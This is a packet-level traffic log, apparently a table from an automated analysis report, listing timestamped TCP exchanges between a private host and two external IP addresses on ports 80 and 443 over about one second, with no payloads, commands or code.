Nov 1, 2024 12:34:59.803028107 CET	50045	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:59.803061008 CET	50045	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:34:59.803112984 CET	443	50045	188.114.96.3	192.168.2.7
Nov 1, 2024 12:34:59.822832108 CET	80	50044	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:59.825329065 CET	50044	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:59.826030016 CET	50044	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:59.831693888 CET	80	50044	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:59.833101988 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:59.833184958 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:59.833225012 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:59.833241940 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:59.833288908 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:59.833384037 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:59.833398104 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:59.833422899 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:59.833451033 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:59.833467007 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:59.833482981 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:59.833498955 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:59.833508015 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:59.833513975 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:59.833525896 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:59.833534956 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:59.833545923 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:59.833575010 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:59.833585978 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:59.859950066 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:59.860517979 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:59.860656977 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:59.879897118 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:59.879920959 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:59.879936934 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:59.879993916 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:59.880023003 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:59.880265951 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:59.880285978 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:59.880305052 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:59.880320072 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:59.880331993 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:59.880362034 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:59.956473112 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:59.956490040 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:59.956511974 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:59.956532001 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:59.956542969 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:59.956561089 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:59.956562042 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:59.956593037 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:59.956623077 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:59.956943035 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:59.956973076 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:59.956990004 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:59.956991911 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:59.957005978 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:59.957014084 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:59.957021952 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:59.957031965 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:34:59.957041025 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:34:59.957081079 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:00.003521919 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:00.003549099 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:00.003566027 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:00.003582954 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:00.003603935 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:00.003603935 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:00.003631115 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:00.003675938 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:00.043750048 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:00.043767929 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:00.043782949 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:00.043812990 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:00.043832064 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:00.080717087 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:00.080734968 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:00.080761909 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:00.080777884 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:00.080796003 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:00.080828905 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:00.080878019 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:00.081492901 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:00.081509113 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:00.081532955 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:00.081548929 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:00.081566095 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:00.081568003 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:00.081592083 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:00.081610918 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:00.114073992 CET	80	50044	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:00.114130974 CET	50044	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:00.126899004 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:00.126915932 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:00.126934052 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:00.126971006 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:00.127002954 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:00.127068043 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:00.127084017 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:00.127111912 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:00.127127886 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:00.127140045 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:00.167401075 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:00.167418957 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:00.167433023 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:00.167474985 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:00.167512894 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:00.207856894 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:00.207875967 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:00.207906961 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:00.207911015 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:00.207925081 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:00.207932949 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:00.207947016 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:00.207956076 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:00.207963943 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:00.207979918 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:00.208199024 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:00.208215952 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:00.208239079 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:00.208242893 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:00.208271980 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:00.208307981 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:00.208651066 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:00.208668947 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:00.208692074 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:00.208705902 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:00.209156990 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:00.209197044 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:00.225385904 CET	50044	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:00.225956917 CET	50046	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:00.231077909 CET	80	50046	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:00.231157064 CET	50046	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:00.233584881 CET	50046	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:00.233673096 CET	80	50044	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:00.233714104 CET	50044	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:00.236840010 CET	443	50045	188.114.96.3	192.168.2.7
Nov 1, 2024 12:35:00.237246037 CET	443	50045	188.114.96.3	192.168.2.7
Nov 1, 2024 12:35:00.237293005 CET	50045	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:35:00.237309933 CET	443	50045	188.114.96.3	192.168.2.7
Nov 1, 2024 12:35:00.238450050 CET	80	50046	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:00.250468969 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:00.250484943 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:00.250498056 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:00.250536919 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:00.250555992 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:00.250814915 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:00.250823021 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:00.250834942 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:00.250909090 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:00.250909090 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:00.286211967 CET	50045	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:35:00.294331074 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:00.294348955 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:00.294354916 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:00.294450045 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:00.338953018 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:00.339102030 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:00.339108944 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:00.339133978 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:00.339135885 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:00.339140892 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:00.339153051 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:00.339158058 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:00.339164019 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:00.339176893 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:00.339181900 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:00.339189053 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:00.339200974 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:00.339219093 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:00.339219093 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:00.339240074 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:00.339306116 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:00.354898930 CET	443	50045	188.114.96.3	192.168.2.7
Nov 1, 2024 12:35:00.354967117 CET	443	50045	188.114.96.3	192.168.2.7
Nov 1, 2024 12:35:00.355015993 CET	443	50045	188.114.96.3	192.168.2.7
Nov 1, 2024 12:35:00.355034113 CET	50045	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:35:00.355046988 CET	443	50045	188.114.96.3	192.168.2.7
Nov 1, 2024 12:35:00.355092049 CET	50045	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:35:00.355097055 CET	443	50045	188.114.96.3	192.168.2.7
Nov 1, 2024 12:35:00.355700016 CET	443	50045	188.114.96.3	192.168.2.7
Nov 1, 2024 12:35:00.355761051 CET	50045	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:35:00.355767012 CET	443	50045	188.114.96.3	192.168.2.7
Nov 1, 2024 12:35:00.355829000 CET	443	50045	188.114.96.3	192.168.2.7
Nov 1, 2024 12:35:00.355869055 CET	50045	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:35:00.355875015 CET	443	50045	188.114.96.3	192.168.2.7
Nov 1, 2024 12:35:00.355921984 CET	443	50045	188.114.96.3	192.168.2.7
Nov 1, 2024 12:35:00.355951071 CET	443	50045	188.114.96.3	192.168.2.7
Nov 1, 2024 12:35:00.355958939 CET	50045	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:35:00.355963945 CET	443	50045	188.114.96.3	192.168.2.7
Nov 1, 2024 12:35:00.356003046 CET	50045	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:35:00.356569052 CET	443	50045	188.114.96.3	192.168.2.7
Nov 1, 2024 12:35:00.356679916 CET	443	50045	188.114.96.3	192.168.2.7
Nov 1, 2024 12:35:00.356728077 CET	50045	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:35:00.356781960 CET	50045	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:35:00.356795073 CET	443	50045	188.114.96.3	192.168.2.7
Nov 1, 2024 12:35:00.356812954 CET	50045	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:35:00.356818914 CET	443	50045	188.114.96.3	192.168.2.7
Nov 1, 2024 12:35:00.382118940 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:00.382127047 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:00.382138968 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:00.382246971 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:00.382464886 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:00.382472038 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:00.382519007 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:00.422401905 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:00.422410011 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:00.422421932 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:00.422477961 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:00.458766937 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:00.458774090 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:00.458964109 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:00.460450888 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:00.460508108 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:00.460525036 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:00.460566044 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:00.460597992 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:00.460671902 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:00.460743904 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:00.460815907 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:00.460850954 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:00.460856915 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:00.460962057 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:00.461271048 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:00.461278915 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:00.461333990 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:00.461534977 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:00.461544037 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:00.461555004 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:00.461656094 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:00.461656094 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:00.462141991 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:00.462238073 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:00.462285995 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:00.462291956 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:00.462337017 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:00.505623102 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:00.505686998 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:00.505832911 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:00.505839109 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:00.505928993 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:00.506300926 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:00.506339073 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:00.506439924 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:00.506522894 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:00.546766043 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:00.546870947 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:00.546895981 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:00.546901941 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:00.546952963 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:00.573673964 CET	50047	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:35:00.573699951 CET	443	50047	188.114.96.3	192.168.2.7
Nov 1, 2024 12:35:00.573785067 CET	50047	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:35:00.574131012 CET	50047	443	192.168.2.7	188.114.96.3
Nov 1, 2024 12:35:00.574142933 CET	443	50047	188.114.96.3	192.168.2.7
Nov 1, 2024 12:35:00.584616899 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:00.584678888 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:00.584685087 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:00.584708929 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:00.584732056 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:00.584887981 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:00.584894896 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:00.584937096 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:00.585273981 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:00.585279942 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:00.585285902 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:00.585290909 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:00.585300922 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:00.585339069 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:00.585351944 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:00.585911989 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:00.585983038 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:00.585988998 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:00.586004972 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:00.586024046 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:00.586354971 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:00.586456060 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:00.586607933 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:00.586615086 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:00.586673975 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:00.629695892 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:00.629702091 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:00.629712105 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:00.629878998 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:00.670670033 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:00.670676947 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:00.670687914 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:00.670775890 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:00.670841932 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:00.671035051 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:00.671041965 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:00.671143055 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:00.713337898 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:00.713352919 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:00.713360071 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:00.713371992 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:00.713377953 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:00.713382959 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:00.713403940 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:00.713453054 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:00.714257956 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:00.714263916 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:00.714302063 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:00.714302063 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:00.714317083 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:00.714322090 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:00.714328051 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:00.714430094 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:00.714430094 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:00.714632988 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:00.714711905 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:00.714725018 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:00.714730978 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:00.714795113 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:00.756882906 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:00.757035971 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:00.757117033 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:00.757117033 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:00.758280993 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:00.758342028 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:00.761322975 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:00.761388063 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:00.800833941 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:00.800894022 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:00.802402973 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:00.802411079 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:00.802506924 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:00.806679964 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:00.806690931 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:00.806879044 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:00.865905046 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:00.865963936 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:00.869328976 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:00.869340897 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:00.869398117 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:00.870815992 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:00.870826960 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:00.870841026 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:00.870879889 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:00.870879889 CET	50043	80	192.168.2.7	185.215.113.16
Nov 1, 2024 12:35:00.874385118 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:00.874394894 CET	80	50043	185.215.113.16	192.168.2.7
Nov 1, 2024 12:35:00.874479055 CET	50043	80	192.168.2.7	185.215.113.16
